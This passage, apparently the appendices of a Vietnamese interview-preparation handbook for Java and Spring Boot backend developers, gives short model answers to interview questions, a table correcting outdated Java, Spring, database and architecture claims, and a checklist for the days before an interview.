	Index không được dùng khi nào?
	Hàm trên cột, LIKE '%x', lệch kiểu dữ liệu, sai thứ tự composite index
	6.2

	JWT và session?
	JWT stateless, khó thu hồi, cần access ngắn hạn + refresh token; session dễ thu hồi, cần lưu trạng thái
	5.3

	Cache-aside cập nhật thế nào?
	Ghi DB rồi xóa cache (sau commit), đọc miss thì nạp lại
	8.4

	Type erasure và PECS?
	Thông tin generic bị xóa lúc runtime; producer extends, consumer super
	1.6

	record dùng khi nào?
	Class dữ liệu bất biến, tự sinh equals/hashCode/toString; hợp cho DTO, không hợp làm JPA entity
	1.8

	Class loading và parent delegation?
	ClassLoader hỏi loader cha trước khi tự nạp, tránh nạp đè class lõi của JDK
	2.1

	Happens-before là gì?
	Quy tắc đảm bảo ghi của thread này được thread khác thấy: unlock/lock, ghi/đọc volatile, start/join
	3.3

	synchronized và ReentrantLock?
	Lock có tryLock timeout, chờ bị interrupt được, fairness, nhiều Condition; phải unlock trong finally
	3.4

	CompletableFuture xử lý lỗi và timeout?
	exceptionally/handle, orTimeout/completeOnTimeout; không dùng common pool cho I/O
	3.7

	ThreadLocal gây rò rỉ thế nào?
	Thread pool tái dùng thread nên giá trị còn sót sang request sau; luôn remove trong finally
	3.9

	Virtual threads có lợi khi nào?
	Nhiều tác vụ chờ I/O; không nhanh hơn với tác vụ CPU; cẩn thận pinning
	3.10

	Auto-configuration hoạt động ra sao?
	Các @Conditional theo classpath, property, bean có sẵn; bean bạn khai báo được ưu tiên
	4.3

	JDK proxy và CGLIB?
	JDK proxy dựa trên interface, CGLIB tạo lớp con; method final/private không bị chặn
	4.4

	Filter, Interceptor và AOP?
	Filter ở tầng servlet, Interceptor quanh handler của Spring MVC, AOP quanh method của bean
	4.6

	Khi nào được tắt CSRF?
	API stateless xác thực bằng token trong header thì tắt được; dùng cookie session thì phải bật
	5.5

	Isolation Level và các hiện tượng đọc?
	Dirty read, non-repeatable read, phantom; mặc định MySQL là REPEATABLE READ, PostgreSQL là READ COMMITTED
	6.3

	Phân trang offset và keyset?
	Offset chậm dần ở trang sâu và lệch khi dữ liệu thay đổi; keyset lọc theo khóa của dòng cuối
	7.5

	Cache penetration, breakdown, avalanche?
	Key không tồn tại (cache giá trị rỗng, bloom filter); key nóng hết hạn (mutex); nhiều key hết hạn cùng lúc (TTL ngẫu nhiên)
	8.5

	Partition và consumer group trong Kafka?
	Thứ tự chỉ đảm bảo trong một partition; mỗi partition một consumer trong group; consumer nhiều hơn partition thì thừa
	8.8

	Kafka và RabbitMQ chọn thế nào?
	Kafka lưu log lâu, đọc lại được, throughput cao; RabbitMQ routing linh hoạt, hợp hàng đợi tác vụ
	8.9

	Open/Closed trong SOLID qua ví dụ?
	Thêm hành vi bằng class mới (strategy) thay vì sửa chuỗi if-else có sẵn
	10.2

	Mock và Testcontainers?
	Mock nhanh nhưng không bắt được lỗi SQL hay mapping; Testcontainers chạy DB thật trong test
	10.6

	Vì sao sliding window là O(n)?
	Hai con trỏ chỉ tiến, tổng số bước của cả hai tối đa 2n
	12.5



Mức 3: Thực chiến và thiết kế (mức Middle)
Nhóm này không có đáp án duy nhất. Người phỏng vấn chấm cách bạn lập luận, nêu trade-off và dựa vào kinh nghiệm thật.
	Câu hỏi
	Ý chính cần nói
	Chương

	Production OOM, bạn làm gì?
	Có heap dump sẵn (HeapDumpOnOutOfMemoryError), phân tích bằng MAT, tìm dominator, phân biệt với OOMKilled của container
	2.6, 11.8

	CPU 100% sau deploy?
	Rollback trước; top -H tìm thread, jstack đối chiếu, xem GC log
	2.6, 11.8

	Deadlock trong DB và trong Java?
	Khóa theo thứ tự cố định, transaction ngắn, tryLock có timeout, đọc log deadlock/jstack
	3.5, 6.3

	Gọi API bên ngoài trong @Transactional?
	Giữ connection lâu, cạn pool; tách gọi API ra ngoài transaction, dùng outbox
	4.5, 8.11

	Kafka đảm bảo không mất và không xử lý trùng?
	acks=all, idempotent producer, commit sau khi xử lý, consumer idempotent
	8.10

	Ghi DB và gửi message nhất quán?
	Dual write gây lệch; Transactional Outbox
	8.11

	Transaction qua nhiều service?
	Tránh 2PC; Saga với compensating transaction, chấp nhận eventual consistency
	9.5

	Chống oversell khi flash sale?
	Trừ kho nguyên tử (UPDATE có điều kiện hoặc Redis), hàng đợi, idempotency key
	9.10

	Thiết kế URL shortener?
	Sinh ID (base62), đọc nhiều nên cache, redirect 301/302, ước lượng dung lượng
	9.9

	Service phụ thuộc bị chậm?
	Timeout, retry có backoff + jitter, circuit breaker, bulkhead, fallback
	9.4

	API thanh toán bị gọi 2 lần?
	Idempotency key lưu kèm kết quả, unique constraint
	7.4

	Bạn review code nhìn gì trước?
	Đúng nghiệp vụ, transaction, xử lý lỗi, bảo mật, hiệu năng query, test
	10.7

	Sự cố production khó nhất bạn xử lý?
	Kể theo STAR, có số liệu, nêu bài học và cách phòng ngừa
	13.4

	Nếu làm lại dự án, bạn đổi gì?
	Thể hiện tư duy trade-off, không đổ lỗi
	13.3, 13.9

	Vì sao chọn công nghệ X trong dự án?
	Bối cảnh, phương án đã cân nhắc, lý do chọn, cái giá phải trả
	13.3

	p95 của API tăng gấp 3 sau release?
	So sánh metric trước và sau, xem query chậm, pool, GC; rollback trước nếu ảnh hưởng lớn
	11.6, 11.8

	Pod restart liên tục?
	describe pod, exit code (137 là OOMKilled), logs --previous, kiểm tra probe
	11.3, 11.8

	Thiết kế rate limiting cho API công khai?
	Token bucket, trạng thái lưu ở Redis, trả 429 kèm Retry-After
	7.6, 9.4

	Dự án mới: monolith hay microservices?
	Đội nhỏ, domain chưa rõ thì modular monolith; tách service khi có lý do đo được
	9.1

	Gọi đồng bộ hay phát event giữa service?
	Cần kết quả ngay thì REST/gRPC; không cần thì event, chấp nhận eventual consistency
	9.2, 9.6

	Distributed lock bằng Redis cần chú ý gì?
	SET NX PX, giá trị token để chỉ chủ mới unlock, lock hết hạn giữa chừng, fencing token
	8.6

	Cache và DB bị lệch dữ liệu?
	Xóa cache sau commit, TTL làm lưới an toàn, cân nhắc delayed double delete
	8.4

	Consumer lag tăng liên tục?
	Tăng partition và consumer, xử lý theo batch, tách việc nặng, đưa message lỗi vào DLQ
	8.8, 8.10

	Thiết kế JWT an toàn?
	Access token ngắn hạn, refresh token xoay vòng, thu hồi bằng denylist hoặc token version
	5.3

	Race condition trong singleton bean?
	Bean mặc định singleton, dùng chung giữa các request; không giữ state thay đổi được trong field
	3.11

	Hai request cùng cập nhật số dư?
	Lost update; UPDATE nguyên tử có điều kiện, optimistic lock @Version hoặc SELECT FOR UPDATE
	6.3, 6.4

	Query chậm trên production?
	EXPLAIN ANALYZE, index phù hợp thứ tự cột, tránh hàm trên cột, kiểm tra thống kê bảng
	6.2

	Thay đổi API không tương thích ngược?
	Versioning qua URL hoặc header, chạy song song hai version, thông báo deprecate có thời hạn
	7.5

	Chiến lược test cho service thanh toán?
	Unit cho logic tính tiền, integration với Testcontainers, test idempotency và retry
	10.6

	Theo dõi một request qua nhiều service?
	traceId truyền qua header, đưa vào MDC để log, dùng OpenTelemetry
	9.7, 11.5

	Log vô tình chứa dữ liệu nhạy cảm?
	Che (mask) ở tầng logging, review, không log token, mật khẩu, số thẻ
	11.5, 5.6

	Live coding đúng nhưng input 10 triệu phần tử?
	Nói Big-O, ước lượng bộ nhớ, đẩy tính toán xuống DB hoặc xử lý theo batch
	12.3, 12.15

	HR đưa offer thấp hơn mong muốn?
	Dựa trên giá trị và mặt bằng thị trường, hỏi các thành phần khác, xin thời gian có hạn
	13.7, 13.9



B. Sửa lỗi tài liệu cũ
Nhiều bộ câu hỏi lưu hành (kể cả một phần tài liệu gốc dùng để biên soạn cẩm nang này) được viết từ thời Java 6, Spring 3, EJB. Nếu bạn trả lời theo chúng, người phỏng vấn sẽ đánh giá kiến thức của bạn đã cũ. Bảng dưới đây tổng hợp các điểm hay gặp nhất.
Java Core và JVM
	Tài liệu cũ nói
	Thực tế hiện nay

	Interface chỉ có method trừu tượng
	Từ Java 8 có default và static method, Java 9 có private method

	Sửa String thì object mới được lưu vào String pool
	Chuỗi tạo lúc runtime là object thường trên Heap, chỉ vào pool khi gọi intern()

	Iterator tạo bản sao, không ảnh hưởng collection
	Iterator không copy; iterator.remove() sửa trực tiếp collection

	Deep copy bằng Cloneable hoặc Serialization là cách chuẩn
	Ưu tiên copy constructor hoặc static factory; Cloneable và Java serialization không còn được khuyến khích

	Có thể "đăng ký" GC bằng finalize()
	finalize() deprecated từ Java 9, đánh dấu sẽ xóa (JEP 421); System.gc() chỉ là gợi ý

	Method area / PermGen chứa class và static
	Java 8 thay PermGen bằng Metaspace (chỉ metadata); static field và String pool nằm trong Heap

	Lambda sinh ra một anonymous class
	Lambda được tạo qua invokedynamic, không sinh anonymous class lúc biên dịch

	HashMap tệ nhất là O(n)
	Từ Java 8, bucket nhiều node được treeify nên tệ nhất khoảng O(log n), nhất là khi key implement Comparable

	Dùng Java 6 làm phiên bản tham chiếu, JAXB có sẵn
	Chuẩn hiện nay là Java 17/21; JAXB đã bị gỡ khỏi JDK từ Java 11

	OutOfMemoryError là một loại lỗi 500
	OOM là Error của JVM; pod bị OOMKilled (exit 137) là container bị giết, không có heap dump

	Nối chuỗi luôn phải dùng StringBuffer
	StringBuilder cho code một thread; + ngoài vòng lặp được compiler tối ưu (invokedynamic từ Java 9), chỉ trong vòng lặp mới cần StringBuilder

	Dùng lớp Stack làm stack
	Stack kế thừa Vector, đồng bộ không cần thiết; dùng ArrayDeque

	Vector, Hashtable là collection thread-safe nên dùng
	Là lớp legacy; dùng ConcurrentHashMap, CopyOnWriteArrayList hoặc khóa rõ ràng

	Xử lý ngày giờ bằng Date, Calendar, SimpleDateFormat
	Dùng java.time (LocalDate, Instant, ZonedDateTime) từ Java 8; SimpleDateFormat không thread-safe

	Tạo wrapper bằng new Integer(5)
	Constructor của wrapper deprecated for removal; dùng Integer.valueOf hoặc autoboxing



Concurrency
	Tài liệu cũ nói
	Thực tế hiện nay

	volatile đọc/ghi thẳng RAM, bỏ qua CPU cache
	Bản chất là memory barrier và quan hệ happens-before

	ConcurrentHashMap khóa theo 16 segment
	Đó là Java 7; từ Java 8 dùng CAS và synchronized trên node đầu mỗi bucket

	Thread có trạng thái Running
	Thread.State chỉ có NEW, RUNNABLE, BLOCKED, WAITING, TIMED_WAITING, TERMINATED

	setPriority() đảm bảo thread A chạy trước B
	Priority chỉ là gợi ý; dùng join, CountDownLatch hoặc CompletableFuture

	Tạo thread: extends Thread hoặc implements Runnable
	Thực tế dùng ExecutorService, CompletableFuture, và virtual threads từ Java 21

	ConcurrentHashMap là fail-safe
	Chính xác là weakly consistent: không ném lỗi, không đảm bảo thấy thay đổi đồng thời

	Double-checked locking không cần volatile
	Thiếu volatile thì thread khác có thể thấy object khởi tạo dở; tốt hơn dùng holder class hoặc enum

	ThreadLocal tự được dọn khi request kết thúc
	Thread pool tái dùng thread nên giá trị còn sót; phải remove() trong finally



Spring, JPA và Database
	Tài liệu cũ nói
	Thực tế hiện nay

	Spring có 5 scope, gồm global session
	Global session bị bỏ từ Spring 5; hiện có singleton, prototype, request, session, application, websocket

	Bean lifecycle: tìm định nghĩa, tạo instance, gọi setter
	Còn Aware, BeanPostProcessor, @PostConstruct, tạo proxy AOP, @PreDestroy

	Pointcut là tập hợp các join point
	Pointcut là biểu thức chọn ra join point

	Entity có 3 trạng thái
	Có 4: transient, managed, detached, removed

	Luôn khai báo LAZY là đủ
	Cần biết mặc định: @ManyToOne và @OneToOne là EAGER, phải khai báo LAZY tường minh

	N+1 làm sập DB vì hết connection
	Vấn đề là số query và số round-trip, thường vẫn dùng cùng một connection

	save() chưa chạy SQL cho tới khi commit
	Với IDENTITY, INSERT chạy ngay; flush còn xảy ra trước query JPQL

	Serializable chạy các transaction tuần tự
	Chỉ đảm bảo kết quả tương đương một thứ tự tuần tự (lock ở MySQL, SSI ở PostgreSQL)

	MVCC chụp snapshot lúc transaction bắt đầu
	READ COMMITTED chụp theo từng câu lệnh; REPEATABLE READ của InnoDB chụp ở lần đọc đầu tiên

	TRUNCATE không rollback được
	Đúng với MySQL/Oracle; PostgreSQL TRUNCATE rollback được trong transaction

	View giúp tăng hiệu năng
	View thường không nhanh hơn; chỉ materialized view lưu sẵn kết quả

	Composite key là khóa gồm hai bảng
	Composite key là khóa gồm từ hai cột trở lên

	Hibernate L2 cache thường dùng Redis
	L2 thường dùng JCache/Ehcache; Redis thường đi với Spring Cache

	Field injection bằng @Autowired là cách chuẩn
	Ưu tiên constructor injection; từ Spring 4.3 constructor duy nhất không cần @Autowired

	Cấu hình security bằng WebSecurityConfigurerAdapter
	Đã bị gỡ ở Spring Security 6; khai báo bean SecurityFilterChain

	RestTemplate là HTTP client mặc định
	RestTemplate ở chế độ bảo trì; dùng RestClient (Spring 6.1) hoặc WebClient

	Import javax.persistence, javax.validation
	Spring Boot 3 chuyển sang jakarta.persistence, jakarta.validation



Kiến trúc, công cụ và công nghệ
	Tài liệu cũ nói
	Thực tế hiện nay

	CAP: chọn 2 trong 3
	Không bỏ được P; khi có partition mới phải chọn C hoặc A

	Mỗi partition một consumer nên không bao giờ đọc trùng
	Vẫn trùng khi rebalance hoặc consumer chết trước khi commit; consumer phải idempotent

	Service Locator là pattern nên dùng
	Trong thời DI nó bị coi là anti-pattern vì che giấu dependency

	Hystrix cho circuit breaker
	Hystrix đã ngừng phát triển; dùng Resilience4j

	WADL, Jersey client, SOAP UI, add-on Firefox
	OpenAPI (springdoc), RestClient/WebClient, Postman

	Theo dõi JVM bằng JConsole trên Tomcat ngoài
	Ứng dụng dùng Tomcat nhúng; dùng jcmd, JFR, Micrometer + Prometheus

	EJB, JAXB, XSLT là trọng tâm phỏng vấn
	Hầu như không còn hỏi ở vị trí Spring Boot; chỉ cần biết khái niệm

	spring.redis.*, @MockBean
	Boot 3 dùng spring.data.redis.*; @MockBean deprecated từ Boot 3.4, thay bằng @MockitoBean

	Zuul, Ribbon, Eureka là bộ microservice mặc định
	Zuul và Ribbon đã ngừng; dùng Spring Cloud Gateway, Spring Cloud LoadBalancer, hoặc service discovery của Kubernetes

	Kafka bắt buộc chạy kèm ZooKeeper
	Chế độ KRaft sẵn sàng production từ Kafka 3.3; Kafka 4.0 đã bỏ hẳn ZooKeeper



C. Checklist những ngày cuối
Một tuần trước
1. Đọc lại CV từng dòng. Với mỗi công nghệ ghi trong CV, chuẩn bị được ít nhất 3 câu hỏi đào sâu và câu trả lời.
1. Vẽ được sơ đồ kiến trúc dự án gần nhất trên giấy trong 3 phút: các service, DB, cache, queue, luồng request chính.
1. Chuẩn bị 3 câu chuyện STAR: sự cố production, bất đồng kỹ thuật, tối ưu hiệu năng có số đo.
1. Tìm hiểu công ty: sản phẩm, khách hàng, tech stack (xem tin tuyển dụng, blog kỹ thuật, trang tuyển dụng).
1. Làm ít nhất 2 buổi phỏng vấn thử (với bạn bè hoặc tự ghi âm), mỗi buổi 60 phút.
1. Xác định mức lương mong muốn: con số tối thiểu chấp nhận được và khoảng sẽ đưa ra.
1. Tự luyện 6 bài tập ở mục 12.14 và 10 câu tình huống ở mục 13.9, nói to như đang phỏng vấn thật.
Một ngày trước
1. Ôn lướt các checklist cuối mỗi chương và Phụ lục A, không học chủ đề mới.
1. Luyện giới thiệu bản thân 60–90 giây, nói to ít nhất 3 lần.
1. Phỏng vấn online: kiểm tra camera, micro, mạng, nền phía sau, chia sẻ màn hình, IDE sẵn sàng (tắt thông báo, tăng cỡ chữ).
1. Phỏng vấn trực tiếp: địa chỉ, thời gian di chuyển, người liên hệ, trang phục gọn gàng.
1. Chuẩn bị 3–5 câu hỏi để hỏi ngược nhà tuyển dụng.
1. Ngủ đủ giấc. Một buổi tối ôn thêm không bù được một bộ não mệt.
Trong buổi phỏng vấn
1. Nghe hết câu hỏi, hỏi lại nếu chưa rõ phạm vi ("Anh/chị muốn hỏi ở mức cơ chế hay cách em đã dùng trong dự án?").
1. Trả lời theo khung: định nghĩa ngắn, cơ chế, trade-off, ví dụ dự án.
1. Không biết thì nói thật, rồi nói cách bạn sẽ tìm hiểu hoặc phần liên quan bạn đã làm.
1. Live coding: làm rõ đề, nêu hướng giải và độ phức tạp trước khi code, tự chạy test với edge case.
1. Khi tự test, chạy tay bằng bảng trạng thái: ghi giá trị các biến sau mỗi vòng lặp với một ca biên do bạn tự nghĩ ra.
1. Ghi chú tên người phỏng vấn và các câu hỏi mình trả lời chưa tốt.
Sau buổi phỏng vấn
1. Ghi lại toàn bộ câu hỏi đã gặp ngay trong ngày, đánh dấu câu trả lời yếu và ôn lại.
1. Gửi email cảm ơn ngắn gọn cho HR (không bắt buộc, nhưng tạo ấn tượng tốt).
1. Trượt thì xin phản hồi nếu có thể. Mỗi buổi phỏng vấn trượt là một buổi luyện tập có người chấm miễn phí.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Lời cuối từ người ngồi phía bên kia bàn: chúng tôi không tìm người biết mọi thứ. Chúng tôi tìm người hiểu sâu những gì họ đã làm, trung thực về những gì họ chưa biết, và cho thấy họ học nhanh. Nếu bạn làm được ba điều đó, bạn đã hơn phần lớn ứng viên tôi từng gặp. Chúc bạn thành công.




